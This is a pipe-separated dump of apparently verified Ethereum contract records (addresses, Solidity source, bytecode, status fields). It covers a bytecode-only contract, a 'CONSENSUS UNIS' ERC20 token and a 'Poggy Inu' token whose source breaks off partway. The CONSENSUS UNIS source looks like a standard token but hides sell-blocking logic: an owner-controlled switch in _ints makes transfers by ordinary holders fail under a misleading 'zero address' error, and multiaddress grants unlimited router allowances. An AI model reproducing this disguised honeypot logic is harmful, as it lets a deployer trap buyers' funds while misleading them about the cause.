} | 0x606060405236156101305763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610142578063095ea7b3146101cd5780630c5a534e1461020357806318160ddd1461022a57806323b872dd1461024f57806323c4841e1461028b578063313ce567146102a0578063385ab2d7146102c557806355434bc9146102ec5780636217229b1461030157806370a08231146103265780638a7f1146146103575780638c2e6b3f1461036c5780638da5cb5b1461038457806395d89b41146103b35780639c7ebb301461043e578063a9059cbb14610456578063dd62ed3e1461048c578063f2fde38b146104c3578063f355b92d146104e4578063f58fef8e146104fa578063fc37987b1461050f578063ff993a1814610534575b6101405b61013d3361054c565b5b565b005b341561014d57600080fd5b6101556106a5565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101925780820151818401525b602001610179565b50505050905090810190601f1680156101bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d857600080fd5b6101ef600160a060020a0360043516602435610743565b604051901515815260200160405180910390f35b341561020e57600080fd5b6101ef6107ea565b604051901515815260200160405180910390f35b341561023557600080fd5b61023d6107f3565b60405190815260200160405180910390f35b341561025a57600080fd5b6101ef600160a060020a03600435811690602435166044356107f9565b604051901515815260200160405180910390f35b341561029657600080fd5b61014061090e565b005b34156102ab57600080fd5b61023d61093f565b60405190815260200160405180910390f35b34156102d057600080fd5b6101ef610945565b604051901515815260200160405180910390f35b34156102f757600080fd5b610140610953565b005b341561030c57600080fd5b61023d61098d565b60405190815260200160405180910390f35b341561033157600080fd5b61023d600160a060020a0360043516610993565b60405190815260200160405180910390f35b341561036257600080fd5b6101406109b2565b005b341561037757600080fd5b610140600435610a0a565b005b341561038f57600080fd5b610397610a7e565b604051600160a060020a03909116815260200160405180910390f35b34156103be57600080fd5b610155610a8d565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101925780820151818401525b602001610179565b50505050905090810190601f1680156101bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044957600080fd5b610140600435610b2b565b005b341561046157600080fd5b6101ef600160a060020a0360043516602435610cc2565b604051901515815260200160405180910390f35b341561049757600080fd5b61023d600160a060020a0360043581169060243516610d82565b60405190815260200160405180910390f35b34156104ce57600080fd5b610140600160a060020a0360043516610daf565b005b610140600160a060020a036004351661054c565b005b341561050557600080fd5b610140610e85565b005b341561051a57600080fd5b61023d610eb1565b60405190815260200160405180910390f35b341561053f57600080fd5b610140600435610eb7565b005b6009546000908190819060ff16151561056457600080fd5b600160a060020a038416151561057957600080fd5b600354600160a060020a038581169116141561059457600080fd5b600034116105a157600080fd5b3492506105ad83610f2b565b91506105c460075483610f5990919063ffffffff16565b600160a060020a0385166000908152600160205260409020549091506105f0908263ffffffff610f8816565b600160a060020a038086166000908152600160205260408082209390935560035490911681522054610628908263ffffffff610fa216565b600354600160a060020a0390811660009081526001602052604090819020929092556007548682169233909216917efe0e12b43090c1fc19a34aefa5cc138a4eeafc60ab800f855c730b3fb9480e9186918691905180848152602001838152602001828152602001935050505060405180910390a35b5b50505050565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073b5780601f106107105761010080835404028352916020019161073b565b820191906000526020600020905b81548152906001019060200180831161071e57829003601f168201915b505050505081565b60008115806107755750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561078057600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60095460ff1681565b60005481565b600160a060020a038084166000908152600260209081526040808320338516845282528083205493861683526001909152812054909190610840908463ffffffff610f8816565b600160a060020a038086166000908152600160205260408082209390935590871681522054610875908463ffffffff610fa216565b600160a060020a03861660009081526001602052604090205561089e818463ffffffff610fa216565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b60035433600160a060020a0390811691161461092957600080fd5b6009805460ff19811660ff909116151790555b5b565b60065481565b600954610100900460ff1681565b60035433600160a060020a0390811691161461096e57600080fd5b6009805461ff001981166101009182900460ff16159091021790555b5b565b60085481565b600160a060020a0381166000908152600160205260409020545b919050565b60035433600160a060020a039081169116146109cd57600080fd5b600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561013d57600080fd5b5b5b565b60035460009033600160a060020a03908116911614610a2857600080fd5b60008211610a3557600080fd5b5060088054908290557ffa46b8b4ccaecf1d18401d52f6693d32659468c8553f904bf40cbcfd416ac0f6818360405191825260208201526040908101905180910390a15b5b5050565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073b5780601f106107105761010080835404028352916020019161073b565b820191906000526020600020905b81548152906001019060200180831161071e57829003601f168201915b505050505081565b600954600090610100900460ff161515610b4457600080fd5b60035433600160a060020a0390811691161415610b6057600080fd5b600160a060020a0333161515610b7557600080fd5b60008211610b8257600080fd5b600160a060020a03331660009081526001602052604090205482901015610ba857600080fd5b600354600160a060020a0316600090815260016020526040902054610bd3908363ffffffff610f8816565b600354600160a060020a03908116600090815260016020526040808220939093553390911681522054610c0c908363ffffffff610fa216565b600160a060020a033316600090815260016020526040902055600854610c4290610c3d90849063ffffffff610fb916565b610fd5565b9050600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610c7557600080fd5b33600160a060020a03167f35ea94addbc62df281ade49cc2ad9b3d9259166170cf702928b4ddc045f7256e8260085460405191825260208201526040908101905180910390a25b5b5b5050565b600160a060020a033316600090815260016020526040812054610ceb908363ffffffff610fa216565b600160a060020a033381166000908152600160205260408082209390935590851681522054610d20908363ffffffff610f8816565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60035460009033600160a060020a03908116911614610dcd57600080fd5b50600354600160a060020a039081166000818152600160205260408082205493851682529020549091610e06919063ffffffff610f8816565b600160a060020a0380841660009081526001602052604080822093909355600354909116815290812055610e3982611003565b7f06efdecdd31c4bac6304b013412b81d6c3cccf803b5808a2e6f07374bd3001d08183604051600160a060020a039283168152911660208201526040908101905180910390a15b5b5050565b60035433600160a060020a03908116911614610ea057600080fd5b600354600160a060020a0316ff5b5b565b60075481565b60035460009033600160a060020a03908116911614610ed557600080fd5b60008211610ee257600080fd5b5060078054908290557fcfa7074b22c98fb9291e698be8caae9fd3391198b3dd068fbe42c6da6b9c9bf5818360405191825260208201526040908101905180910390a15b5b5050565b6000808211610f3957600080fd5b610f5182670de0b6b3a764000063ffffffff610fb916565b90505b919050565b6000828202831580610f755750828482811515610f7257fe5b04145b1515610f7d57fe5b8091505b5092915050565b600082820183811015610f7d57fe5b8091505b5092915050565b600082821115610fae57fe5b508082035b92915050565b6000808284811515610fc757fe5b0490508091505b5092915050565b6000808211610fe357600080fd5b610f5182670de0b6b3a764000063ffffffff610f5916565b90505b919050565b60035433600160a060020a0390811691161461101e57600080fd5b600160a060020a03811615611056576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b505600a165627a7a723058204ae62621d40f5a0ad58910d7b94b56ae9847fcc64c29186e483bd2a37e9f47610029 | {"success": true, "error": null, "results": {}} | 951 |
0xb487e5b4ea3086b14476a549b377ef4d0209c520 | /**
_______ _______ __ __ __ _ ___ _______
| || || | | || | | || | | |
| || _____|| | | || |_| || | | _____|
| || |_____ | |_| || || | | |_____
| _||_____ || || _ || | |_____ |
| |_ _____| || || | | || | _____| |
|_______||_______||_______||_| |__||___| |_______|
/*csunis.com
*CONSENSUS UNIS
*/
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220511edadae078586138426a85954310eb0e64655a644d9bf5068b875251561fa464736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 952 |
0x72b331285413E31783dF736e9147f5222E9BAb4e | /**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
/*
POG POG POG...POGGY! 🐷🐷🐷
🐷telegram : https://t.me/PoggyInu
🐷twitter : https://t.me/www.twitter.com/PoggyInu
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
